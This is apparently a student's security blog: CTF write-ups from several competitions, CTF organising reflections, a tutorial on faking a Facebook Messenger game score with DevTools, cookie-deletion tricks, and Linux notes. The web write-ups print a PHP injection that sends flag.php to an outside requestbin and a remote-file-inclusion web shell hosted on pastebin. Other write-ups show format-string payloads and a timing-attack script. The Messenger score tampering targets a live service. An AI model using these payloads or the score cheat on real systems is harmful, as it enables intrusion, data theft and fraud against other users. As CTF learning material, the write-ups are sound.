Don’t.
+Give.
+Up.
+Simple.
+Don’t.
+Give.
+Up.
+Simple.
+If you’re participating in CTCTF this week, I + know it has been a hard week, and I have a huge apology to make, about several things.
+I should not have helped out with this CTF. I + didn’t have much time to work on it, I was busy with school, and it really wasn’t a good time for me to be + doing it. However, I was really stupid so I decided to jump in anyway.
+If you’re in a rush, and you don’t care about all this stuff, + skip down to the bottom for the final hint.
+The website backend problems were completely my + fault. Things like the problems page saying your problem was unsolved when you actually received points + for it, or not being able to submit answers for problems because it said “You’ve already tried this.” Part + of this was not havingenough time to thoroughly test the server and catch all the problems.
+This really isn’t my problem. But I’ll address + it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and + does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features + including:
+I don’t know what to say about this. I urged + the other team members to shorten the duration of the competition to 3 days, but they wouldn’t budge, so + we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of + them in an hour.
+We weren’t even going to use 1023megabytes + originally. But because of the immediate lack of problems, I figured we would need it.
+When the competition started, there were only 18 + questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If you’re running a competition, + you’d want to keep your participants’ interests as long as possible; there’s no point if everyone quits + after a day — which is basically what happened.
+I figured the purpose of creating such an + insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the + verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the + last one.
+This is the final hint for “3 hard 3 me”: base + 16, base 2, base 3.
+For 1023megabytes, you probably already made + some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and + the flag will be on a userpage.
+I feel like I owe this to + everyone for a bad competition and hope you forgive me for all these mistakes. They won’t happen again. I + guess I’ll see you guys at the next CTF.
+This is my first writeup. The problem reads: +
+Mommy! what is a file + descriptor in Linux?+
ssh fd@pwnable.kr -p2222 (pw:guest)
Since it tells us to SSH to their + server, we’ll do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag, + the target file we are trying to read, but is currently protected by root. Let’s begin by analyzing fd.c. +
+At the if statement, the program is checking buf + against the string LETMEWIN. Where is buf being read? It’s being read from a variable called fd, which is + a file + descriptor. Since the only way we can give input to the program is STDIN_FILENO, we have + to make sure fd is set to 0.
+According to the code, fd is calculated by atoi( + argv[1] ) — 0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal. + To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for + input. Now we just enter LETMEWIN, and it should print out the flag :)
+mommy! I think + I know what a file descriptor is!!+
Hi. I’m Michael, a college freshman at the + University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF) + competitions! I might be posting more about those here.
+I’ll use this space to rant about life. And post + CTF writeups too (maybe).
+I’m really trying to change my + study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day + isn’t going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the + morning is even easier than getting things done at night for me. Only problem is the waking up part. I’ll + try it for a couple weeks and I’ll let you guys know how it goes.
+Over the weekend, I worked with the team + Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to + document the problems that I solved during the competition.
+For 25 points, the objective of this problem is + to output which coins/bills are needed for a given amount of money. When you connect to the server, it + will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To + do this, I wrote a Python client to interact with the server.
+import socket+
s = socket.socket()
s.connect((“misc.chal.csaw.io”, 8000))
def recv(end=’\n’):+
c, t = ‘’, ‘’
while c != end:
c = s.recv(1)
t += c
return t
This code will open a connection to the server + and read input until a certain character is reached. The algorithm for this problem is rather simple; + starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the + denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then + subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this: +
+r = recv()+
amt = int(r.strip(“$”).strip().replace(“.”, “”))
print amt
for denom in denoms:
n = amt // denom
s.send(“%d\n” % n)
amt %= denom
recv()
Upon success, the server will then ask another
+ amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a while True
loop and eventually I got the flag.
In this challenge we were presented with a site
+ with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
+ Bootstrap. Upon seeing git, I immediately thought to check if the .git
folder was actually stored in the www root, and it was!
+ I ripped the git folder off the site and cloned it to restore the original folder structure.
There was a flag.php
in the templates folder, but the actual flag was
+ missing. That means I had to retrieve the flag from the actual server.
From the way the navigation bar was constructed,
+ it looks like I need to use local file inclusion. But I couldn’t use php’s base64
filter to print the contents of flag.php
because the $file
variable will stick ”templates/” to the front of the
+ given page before it’s require_once
’d.
The trick to solving this one is injecting PHP
+ commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
+ I made a requestbin that I would make
+ a GET request to, containing the contents of flag.php
!
+
The page I requested was:
+http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27+
Un-URL encoded, this looks like:
+flag’ + fopen(‘http://requestb.in/1l5k31z1?p=' . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘+
As you can see, I’m reading the contents of
+ flag.php
, URL-encoding it, and sending it to this
+ requestbin. This way, I can retrieve it from the requestbin later.
+
I got this close to the end of the competition, + but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will + think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it + on a server, this means I could just patch the binary file and re-run it.
+I opened the exe in IDA, and used Alt+T to
+ search for UDDER FAILURE
, the string it prints when you
+ fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
+ actual thing.
In both instances, right above where it prints
+ UDDER FAILURE
, there is a jnz
that checks if the key you pressed was right. More
+ specifically, this occurs at 004014D5
and 00401554
. To invert the condition, I had to change jnz
to jz
.
+ In opcodes, that’s 75
and 74
.
+
Then I just ran the program + again, and waited for it to pass all the checks, and I got the flag!
+Over the past week, I again worked with Gophers + in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points. + Here are some of my writeups.
+In this task we are given an encrypted image as + well as the encryption script. The script looks like this (condensed):
+x = random.randint(1,255)+
y = random.randint(1,255)
img_pix.putpixel((0,0),(len(FLAG),x,y))+
for l in FLAG:+
x1 = random.randint(1,255)
y1 = random.randint(1,255)
img_pix.putpixel((x,y),(ord(l),x1,y1))
x = x1
y = y1
img_pix.save(‘encrypted.png’)+
It seems that each character of the flag is + placed at random points in the encrypted image. Fortunately, each character also comes with the + coordinates of the next character. To solve the challenge, we just write a reversing script.
+FLAG = “”+
img = Image.open(“encrypted.png”)
img_pix = img.convert(“RGB”)
FLAG_LEN, x, y = img_pix.getpixel((0, 0))+
for i in range(FLAG_LEN — 1):
c, x, y = img_pix.getpixel((x, y))
FLAG += chr(c)
print FLAG+
The flag is h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}
.
I’m guessing the point of this problem was for
+ you to go through the network data and look for the right packets, but I just used strings
.
$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t+
PASS h4ck1t{i_G07_ur_f1l3s}
The flag is h4ck1t{i_G07_ur_f1l3s}
.
In this challenge, we get a ZIP full of random + files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided + to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.
+There are many tools out there that can help
+ open this type of file. I used Thumbs Viewer. Either way, the flag is the name of one of the thumbnails, h4ck1t{75943a3ca2223076e997fe30e17597d4}
.
I don’t think I did this the intended way, but + we were given a binary that apparently produces an output file. But I just did
+$ strings parse | grep h4ck1t+
to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime
The flag is h4ck1t{T0mmy_g0t_h1s_Gun}
.
This one was rather annoying. When you first + open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the + binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended + to the end of it.
+At that point, I just binwalk
’d the PNG and extracted the ZIP, leading me to flag.txt
, containing the flag, h4ck1t{rtf_d0cs_4r3_awesome}
.
We’re told to connect to 91.231.84.36:9001
. When we connect, we are greeted with a
+ prompt: wanna see?
It seems that the program will print back
+ whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
+ printf(input)
where input
is the user input, then putting format symbols into our
+ input will cause the program to start reading off the stack.
+
There was probably a better way to do it, but + essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!
+failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001+
wanna see?
ok, so…
0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-
If you get rid of the (nil)
s and reverse the string (remember endianness), then you
+ should eventually arrive at the flag, which is h4ck1t{d1D_Y0u_5Ee_7hA7??7}
.
In this problem, we are given a dump of some
+ Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
+ folder. More specifically, the transmission of information happens over Skype, so I looked in AppData\Roaming\Skype\live#3aames.aldrich
.
main.db
kinda stuck out, so I opened that first. It was an
+ SQLite database of a bunch of different Skype data. I ended up finding the flag in the Contacts
table, in the row containing the user zog black
, under province
and city
columns apparently. The flag was h4ck1t{87e2bc9573392d5f4458393375328cf2}
.
If you click around the navigation bar of the
+ website, you’ll notice that the pages are loaded by index.php?page=example
. It probably includes pages through
+ some naive include function without any sanitation, although it appends .php
to the end of the filename.
To bypass this, we just stick a %00
null character to the end of our URL. Then PHP stops
+ reading when it hits that and won’t append .php
after the
+ file. But what file can we include to find the flag?
It occurred to me that if we could include any + file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I + included looks like this:
+if (isset($_GET[‘cmd’]))+
echo system($_GET[‘cmd’]);
?>
Stick that in a pastebin or something, and + then include it in your URL like this:
+http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00+
Now you can execute shell commands from the
+ URL. Doing an ls
on the current directory reveals a file
+ called sup3r_$3cr3t_f1le.php
. If you cat sup3r*
then you should be able to get the flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}
.
In this problem we are asked to connect to
+ ctf.com.ua:9988
and solve math problems. We told C = A ^ B
and then given C, we are asked to find A and B.
+ Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
+ good idea.
+
The algorithm we used was to prime-factorize C, + and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like + 2 appeared more than once, we multiply it twice into A, rather than making B twice as large.
+We used the Sieve of Atkin to generate a list of
+ primes up to 10,000,000 (although we probably didn’t need that many), and stored it into primes.txt
. The final program looks like this:
from collections import Counter+
import socket
s = socket.socket()+
s.connect((“ctf.com.ua”, 9988))
primes = map(int, open(“primes.txt”).read().split(“ “))+
i = 0
while True:
o = s.recv(8192)
print o
q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)
r = int(q[-1])
print r
done = False
factors = []
for prime in primes:
while r % prime == 0:
factors.append(prime)
r //= prime
c = Counter(factors)
f = zip(*c.items())
B = min(c.values())
print f, c
A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)
if B == 1: A = r
print A, B
s.send(“%s %s\n” % (A, B))
The flag is h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}
.
I was so excited to do this challenge! Once I + unzipped the file and saw the folders and files, I knew it was a Minecraft world save!
+I kind of saw it coming, but once I opened the + world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above + the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I + assumed it meant that.
+Thing is if you play, and step on the pressure
+ plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
+ just selected the bedrock region and deleted it, revealing the flag below: h4ck1t{m1n3craft_h4c3r}
.
Honestly, this one was such a pain in the ass.
+ Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
+ library called pyunpack
figures that out for you, by
+ checking the magic number of the file. The final script looks like this:
from pyunpack import *+
import shutil
for i in range(100, 0, -1):+
Archive(“%d” % i).extractall(“.”)
shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))
The flag is h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}
.
This one was a freebie. Join their Telegram
+ channel and you get a free flag: h4ck1t{fr33_4nd_$ecur3!}
.
There were a lot of trivia questions on the + board! They weren’t worth much, but still pretty fun. Here are the solutions:
+Cote d’Ivoire: h4ck1t{arpanet}+
Bolivia: h4ck1t{Tim}
Colombia: h4ck1t{heartbleed}
Costa Rica: h4ck1t{7}
Ecuador: h4ck1t{archie}
Finland: h4ck1t{mitnick}
Greece: h4ck1t{30}
Honduras: h4ck1t{Binary}
Italy: h4ck1t{2015}
Kazakhstan: h4ck1t{polymorphic}
Kyrgyzstan: h4ck1t{smtp}
Madagascar: h4ck1t{caesar}
Nicaragua: h4ck1t{B@S3_S0_B@S3_}
Nigeria: h4ck1t{128}
Peru: h4ck1t{Decimal}
Phillipines: h4ck1t{creeper}
Spain: h4ck1t{social engineering}
Venezuela: h4ck1t{admin123}
Recently, a new little icon appeared in the + text box on Messenger next to the camera icon and payments:
+ +If you click it, a menu shows up and you + can play a number of in-browser games. It seems that the games are run without any plugins, so they use + HTML5 to run and interact with Facebook’s API, such as setting scores on the leaderboard and whatnot.
+In this post, I’ll look at the game TRACK & FIELD 100M. The object of this game is to + press the left-foot button and the right-foot button as quickly as possible. Since your final score is the + elapsed time, lower scores will outrank higher scores. I will explain how to achieve a score of 0:00.01. +
+It turns out that when Messenger loads the + source files for the game (which are *.js files) when you first open the game. This makes it easy to + figure out which source files are responsible for the actual game logic. In this tutorial, I’ll be using + Chrome, but I’ve confirmed that it works on Microsoft Edge as well.
+First, open Developer Tools using Ctrl+Shift+I + or F12, and go to the Network tab. There might be a few resources loaded already; delete them with the 🛇 + button. Since we are looking for JavaScript files, open the filter view and select JS.
+Now, when Facebook loads the JavaScript source + files, they will appear in this view. Open the game menu and press the Play button next to the game TRACK + & FIELD 100M. Once you have done this, a few files will start to appear.
+ +main.js looks like a pretty good place to
+ start. Look at the URL: https://apps-1665884840370147.apps.fbsbx.com/instant-bundle/1230433990363006/1064870650278605/main.js
.
+ Since this resource has already been loaded into the browser, we can find it under the Sources tab of
+ Developer Tools. Trace the path, starting from the domain like this:
Go ahead an pretty-print the minified file, + just like it suggests. (for those of you who didn’t get that notification, just hit the {} button next to + Line/Column. Since this file isn’t obfuscated, it’s fairly easy to just look through the file and figure + out what it does.
+I don’t really know how to explain this part + well; if you’re familiar with code, you should be able to traverse the file pretty easily. I eventually + arrived at this function:
+GameScene.prototype.stepEnd_ = function() {+
if (this.isStepTimeOver_(2e3)) {
var e = Math.floor(1e3 * this.timeSpeed_.getTime());
FBInstant.setScore(e),
FBInstant.takeScreenshot(),
this.stepFunc_ = this.stepEnd2_,
this.audience_.fadeTo(.5)
}
}
stepEnd_
is the handler for the event where the user finishes
+ the game. As you can see, it computes the elapsed the time, and multiplies it by 1,000 (probably because
+ Facebook stores these scores as integers). This is sent to Facebook using the FBInstant
library’s setScore
function. After looking at a couple of these games,
+ you’ll notice that FBInstant
is pretty much universal
+ among these games, since it’s required to interact with the Facebook API.
The strategy to exploit this is to add a + breakpoint at that line, so code execution is paused before that line is executed. Then we are free to + change the variable to whatever we’d like to change it to, and then resume execution so that our changed + value is sent to the server.
+I’d like to point out that setting the variable + to non-numerical types will simply cause the upload to fail. I’m guessing they’re doing some type-checking + on it server-side. That doesn’t prevent us from simply changing the value to 0 and sending it to the + server.
+To add a breakpoint to that line, click the line
+ number where the line FBInstant.setScore(e)
appears. The
+ blue arrow indicates that a breakpoint has been set, and code execution will stop before this line starts.
+
Now, start the game and play through it
+ like normal. It doesn’t matter what score you get, as long as you finish and trigger the stepEnd_
function, the code will stop and wait for you before
+ submitting your score.
If you are still on the Sources tab, you’ll be + able to see the variables in the scope of the deepest function we are in when the code stops.
+ +Open the Console (either by navigating to + the Console tab, or just pressing Esc to open it within the Sources tab), and just type
+e = 1+
We just changed the value of the local
+ variable e
to 1 (1 millisecond; for some reason it bugs
+ when I use e = 0
). When the execution continues, it will
+ use our changed value, and submit that to the score server. Exit the game, and you should see that score
+ reflected on the leaderboard.
When you are developing browser-based games, + you can never trust user input. As long as the user has control, he can jack the browser logic and change + variables during runtime. Ideally, the game logic should be done server-side, and the client is simply a + terminal passing inputs to the server and visuals back to the client.
+However, this is highly impractical. If you sent + a request for every input and waited for the server to respond, you’d get a huge delay, even for very fast + connections. This is one of the hardest problems to tackle in real-time RPGs: how can we verify that the + user is moving as they should, while still running the game as fast as we can?
+That’s all I have today. Thanks + for reading!
+Today, I marked the initial release of XinIRCd, + an IRC server that I just started working on recently. As of now, it’s still heavily inspired by InspIRCd, + from its configuration wizard to its command handling, but I’ll start adding more features soon.
+I’ve still got a couple weeks + left of break, so I’ll try to get as much done in that time as possible.
+Recently, I’ve been exploring installing + various Linux distributions over my Windows installation. The main reason for doing this would be not + having to pull up a virtual machine every time I wanted to do anything.
+But with both Arch Linux and Ubuntu, I kept
+ running into the same problem: I couldn’t connect to Wi-Fi. I poked around, and it said that my network
+ switch (the hardware one) was switched off. No matter what I tried to do with rfkill
, I couldn’t get the physical switch back on.
My ASUS computer doesn’t have a network switch. + There’s an ‘airplane mode’ button, but that didn’t really do anything either. I eventually found the + solution in this thread, but I’ll repeat it here.
+echo "options asus_nb_wmi wapf=4" | sudo tee /etc/modprobe.d/asus_nb_wmi.conf+
..or simply put that line in that file. asus_nb_wmi
is the driver for the Wi-Fi module. What does
+ wapf=4
do? Well, according to this,
+
When WAPF = 4 — driver sends + ACPI scancode 0x88 which is converted by asus-wmi to RFKILL key, which is processed by all registerd + rfkill drivers to toggle their state.+
Essentially, it is making rfkill
recognize that the hardware switch is not off, so the
+ Wi-Fi works again.
Thanks for reading!
+A lot of websites put cookies on your computer in order to save information + about your previous visits to the site. The most common use case would be storing a key that would allow + your computer to auto-login to the site the next time you visited it (rather than forcing you to + re-login).
+Many sites also put cookies on your computer to + figure out if you’ve visited the site before, and may change behavior based on whether you’re a new user, + or you’re a returning user.
+For example, take a look at this website. Let’s ignore + the product that it’s advertising for now and just focus on the “Limited Time Savings” offer on the right + side. Isn’t it strange how the timer started at 5:00 exactly? In other words, either you were incredibly + lucky to have visited the site exactly 5 minutes before the offer + ended, or there’s some other trick they’re pulling.
+It turns out that one of the cookies (I haven’t + looked into it enough, but if you poke around, you should be able to find it) they store on your machine determines when this limited time offer + either started or expires. What it means is that the first time you visit the site, the cookie is created + and you have 5 minutes from that moment to do this purchase. Afterwards, the cookie still exists on your + computer, so it won’t offer you the deal anymore.
+But this means that if you get rid of the + cookie, you can get the 5 minute deal back. If you get an extension such as EditThisCookie that’s able to + view and manipulate cookies, then you can have a lot better control of what websites are storing on your + computer.
+Some other websites this trick works on include + LinkedIn and Quora, which ask you to create an account to view content after the + first time you visit their site. If you don’t want to create an account, then simply delete any cookies + they’ve stored on your computer and you will be able to access the site as if it was your first time. +
+That’s all. Thanks for reading! +
+Yep, I’m one of those people. Go ahead and + judge me, but at least hear me out first.
+Obviously, the first thing we have to do in + order to answer the “Is HTML a programming language?” question is to define what a programming language + is. Let’s literally take the term apart:
+Following those definitions, a programming + language must be a method of communicating to the computers what you want it to do. These are rather loose + definitions that I came up with, but if you don’t agree with that, you can stop reading now.
+The primary purpose of HTML is to serve as a + method to display webpage data that is received from the server into a visual representation into your + browser. That’s just a fancy way of saying “you tell the browser where to put stuff”. Let’s check if that + satisfies the above points:
+If you don’t agree that the above two + demonstrate that HTML satisfies the requirements for a programming language that I laid out above, then + I’d love to hear your thoughts.
+So why are people so insistent that HTML is not + a programming language? Well, here’s some of the reasons I’ve seen so far.
+<br />
. Is it not telling the browser to create a
+ line break? Isn’t that making it execute an instruction? Sure, you can say that the HTML isn’t actually
+ creating the element, it’s the browser engine. But by that logic, no programming language actually
+ exists other than the binary data that the machine is executing, since that’s what’s really executing
+ all our code. If you don’t put the elements in, the browser won’t do anything, so HTML is giving the
+ browser instructions on what to do.At the end of the day, this is + all just still my opinion. If you don’t agree, please voice your opinions and convince me otherwise + (preferably using well-informed arguments)!
+Guess it’s one less site I’m going to be + wasting my time on now.
+I know it’s an important part of making revenue + or whatever, but from the user’s standpoint, ads should be non-intrusive. That means I should be able to do whatever I want on + the site without needing to bother looking at your advertisements.
+Don’t push advertisements into my + face. Promote good content that people want to see, and they’ll automatically come back for more. Because + to be honest, I don’t really care about your site enough to turn off my ad-blocker for it.
+EasyCTF just concluded this Monday! Looking + back on the competition, I’d say that this year was our best year ever. Let’s take a look at some of the + stats.
+I’m really happy to see that so many people + were willing to give us a week of their time to participate in our event and work through our challenges, + despite the fact that we hadn’t promised any prizes ahead of time.
+I’d also like to give a shout-out to the entire + dev team who helped monitor basically every point of contact that people had with us and creating amazing + challenges.
+I still haven’t decided whether I’ll be + completely involved in organizing this event again next year. I hope that I’ll have some free time + alongside my classes, but I’d also like some more cooperation from the rest of the organizers. The biggest + problem we had this year was basically not working on anything until the week before the competition. By + that time, it was already too late. Let’s take a closer look at what actually went wrong:
+I’ve also got a couple of points of reflection + for prospective CTF organizers, so if you’re planning to run a CTF, this is for you.
+Here’s something else I definitely have to + share. We had this autogen system that created different flags for different teams in order to discourage + flag sharing. Some people came up to us reporting that their flag wasn’t working, when they clearly just + took some other team’s flag. I didn’t really do anything about it, but just thought it was pretty funny + that they had the nerve to report it to us even though they were cheating.
+So, what’s the future for EasyCTF?
+Thanks for reading, and I hope + I’ll be seeing you at the next CTF!
+I participated in VolgaCTF under the team Shell + Smash. We finished in 138th place with 600 points. Here are the write-ups for the problems that I did.
+This was a pretty standard image analysis + problem. We are given two images that are relatively similar, except for a couple of bytes. If we just xor + the two images together, the flag appears in plain sight.
+ +We are given a Python file with an encrypt
+ function. It’s using an encryption function from the pycryptography.so
library that was also given. By analyzing
+ the so, it looks like the encryption algorithm is simply an xor with the key, and if the key is shorter
+ than the message, then just repeat the key. This algorithm is known as a vigenère cipher, or repeating-key
+ xor cipher. Fortunately, I had some old code to crack this type of cipher exactly from cryptopals.
The first step was to open this binary in IDA. + It’s easy to get lost, because there are so many functions, so the first thing I did was hit Shift+F12 and + look at the strings. The one I was looking for, in particular, was “You’ve entered the correct license + key!” If I found where this was called during execution, I could trace it back to the actual place where + it performs the check.
+ +Here you can see I’ve found that sub_5F70 + contains the code that checks whether you’ve already played 3 times, and tells the program to start asking + for a license key. Should it ask for a license key, it will redirect the execution to sub_6660, where it + actually prompts the user.
+I’m going to start from the bottom of sub_6660, + trying to follow what it’s returning, because ultimately the result of this function is either going to be + true/false — whether it accepts your license key. Poking around, I found this call to an interesting + function: sub_67D0. Seems like it’s literally just checking your license key character by character.
+ +I wonder what happens if you just convert + all of those values to ASCII?
+ +Looks like our license key is the flag!
+I didn’t actually finish this one during the + competition time, because I was being really stupid and not reading their hint. In this challenge, they + handed out an encrypted flag and a program that “generates secure encryption keys.”
+Picking apart the binary, it looks like what the + program is doing is just generating a seed out of the passphrase that you give to it, by xor’ing every + character of your passphrase together. This was then used in an LCG to get “random” bytes out of a + dictionary of 82 bytes.
+The problem with this method is, there a total + of about 128 values for this “seed,” because ASCII values range from 0 to 128, and since higher bits are + not involved, xor will never go out of that range either. So to solve the problem, you simply generate all + of the keys for seeds from 0 to 128. I’ve reimplemented the key generation in Python here:
+ +So why couldn’t I finish it?
+ Because when I was actually checking the key with openssl aes-128-cbc -d -in flag.zip.enc -out flag.zip -pass env:PASSWORD
,
+ I wasn’t using the version of OpenSSL that they specified, version 1.1.0e. Lesson learned, I guess.
I competed in UIUCTF this year with Aaron Cao. + We ended up placing 23rd with 1300 points. Here are some of the solutions to the challenges I solved.
+In this challenge, we are basically given some + encrypted information, as well as the following encryption program.
+import sys, itertools+
if(len(sys.argv) != 3):
print("Usage: [FILE] [KEY]")
exit(-1)
filename = sys.argv[1]
key = sys.argv[2]
with open(filename, 'rb') as plaintext:
raw = plaintext.read()
print(len(raw))
with open(filename + '.out', 'wb') as ciphertext:
for l, r in zip(raw, itertools.cycle(key)):
ciphertext.write( (l ^ ord(r)).to_bytes(1, byteorder='big') )
Upon not-so-close inspection, it seems like + it’s just a repeated-xor cipher. Using code that I had written for Cryptopals Set 1, I decoded it quickly, + obtaining a long plaintext, containing the flag.
+https://twitter.com/SwiftOnSecurity/status/858092845886046209
+We’re given a flag-checking service that seems + to be vulnerable to timing attack. In essence, here’s what happens: the service checks our flag character + by character; if that character is the same, move on to the next, otherwise, just return false, since we + know that the string can’t be equal anyway. But in this case, the program delays by 0.25 — a significant + amount! — before moving on, to prevent brute force? apparently. But there’s one huge flaw.
+If you brute force all of the possibilities for
+ the next character, there’s going to be a significant time gap
+ between returns if you submit the right character vs. if you submit the wrong one. Here’s what it means:
+ say I know the flag starts with flag{
, which I do. Upon
+ submitting flag{
, I know it’s going to be delaying for at
+ least 5 * 0.25, which is 1.25 seconds. I don’t know the 6th character yet, but there’s only 2 things that
+ can happen:
Hopefully the problem becomes obvious now. If I + check how long it takes me to get my result, I’ll be able to “guess” the password character by character. + Knowing this, here is the script I used to get the flag:
+import socket+
from functools import wraps
from time import time
from string import printable
addr = ("challenge.uiuc.tf", 11340)+
s = socket.socket()
s.connect(addr)
def stopwatch(f):+
@wraps(f)
def wrapper(*args, **kwargs):
start = time()
result = f(*args, **kwargs)
end = time()
return end - start
return wrapper
@stopwatch+
def test_flag(flag):
global s
s.send(flag + "\n")
s.recv(20) # >
s.recv(20) # >+
known_flag = "flag{"
while True:
for c in printable:
benchmark = 0.25 * (len(known_flag) + 1)
actual = test_flag(known_flag + c)
print c, benchmark, actual
if actual > benchmark:
known_flag += c
print known_flag
break
n = 826280450476795403105390383916395625701073920777162153138597185953056944510888027904354828464602421249363674719063026424044747076553321187265165775178889032794638105579799203345357910166892700405175658568627675449699540840288382597105404255643311670752496397923267416409538484199324051251779098290351314013642933189000153869540797043267546151497242578717464980825955180662199508957183411268811625401646070827084944007483568527240194185553478349118552388947992831458170444492412952312967110446929914832061366940165718329077289379496793520793044453012845571593091239615903167358140251268988719634075550032402744471298472559374963794796831888972573597223883502207025864412727194467531305956804869282127211781893423868568924921460804452906287133831167209340798856323714333552031073990953099946860260440120550744737264831895097569281340675979651355169393606387485601024283179141075124116079680183641040638005340147490312370291020282845417263785200481799143148652902589069064306494803532124234850362800892646823909347208346956741220877224626765444423081432186871792825772139369254830825377015531518313838382717867736340509229694011716101360463757629023320658921011843627332643744464724204771008866440681008984222122706436344770910544932757+
e = 5
c = 199037898049081148054548566008626493558290050160287889209057083223407180156125399899465196611255722303390874101982934954388936179424024104549780651688160499201410108321518752502957346260593418668796624999582838387982430520095732090601546001755571395014548912727418182188910950322763678024849076083148030838828924108260083080562081253547377722180347372948445614953503124471116393560745613311509380885545728947236076476736881439654048388176520444109172092029548244462475513941506675855751026925250160078913809995564374674278235553349778352067191820570404315381746499936539482369231372882062307188454140330786512148310245052484671692280269741146507675933518321695623680547732771867757371698350343979932499637752314262246864787150534170586075473209768119198889190503283212208200005176410488476529948013610803040328568552414972234514746292014601094331465138374210925373263573292609023829742634966280579621843784216908520325876171463017051928049668240295956697023793952538148945070686999838223927548227156965116574566365108818752174755077045394837234760506722554542515056441166987424547451245495248956829984641868331576895415337336145024631773347254905002735757
Standard RSA challenge, we’re given N, e, and + c and we’re asked to find the original message… It’s supposed to be a “baby” RSA challenge, so one thing + that came to mind was that m^e is actually less than N. I put the + ciphertext c into factordb.com, and it turned out that it was a perfect fifth power! (recall that e=5). + The problem became trivial at this point; to get the flag, simply convert the fifth root of c back into + ASCII.
+This challenge was pretty straightforward; once
+ I opened it in IDA, I noticed that it was printf
’ing some
+ user-supplied input. I tried a bunch of values with the binary locally until I got the exploit string
+ %9$s
, which prints the 9th string on the stack (which is
+ where flag.txt
was read to).
+
michael@zhang:~$ echo “%9\$s” | nc challenge.uiuc.tf 11342+
what’s the flag
You answered:
flag{always_give_110%}
But that was totally wrong lol get rekt
To be honest, I don’t even know how I solved
+ this one. I think I created an account and just tried a bunch of random stuff until I was at the location
+ indicated in the X-SecondLife-Local-Position
header in
+ the URL I was given.
In this challenge, we aren’t given a binary, + just a server to connect to. So we kind of have to imagine how it’s programmed. The server asks us 3 + questions, then reveals us the answers so we can get all 3 right the next time. But we need a score of 5 + to get the flag!
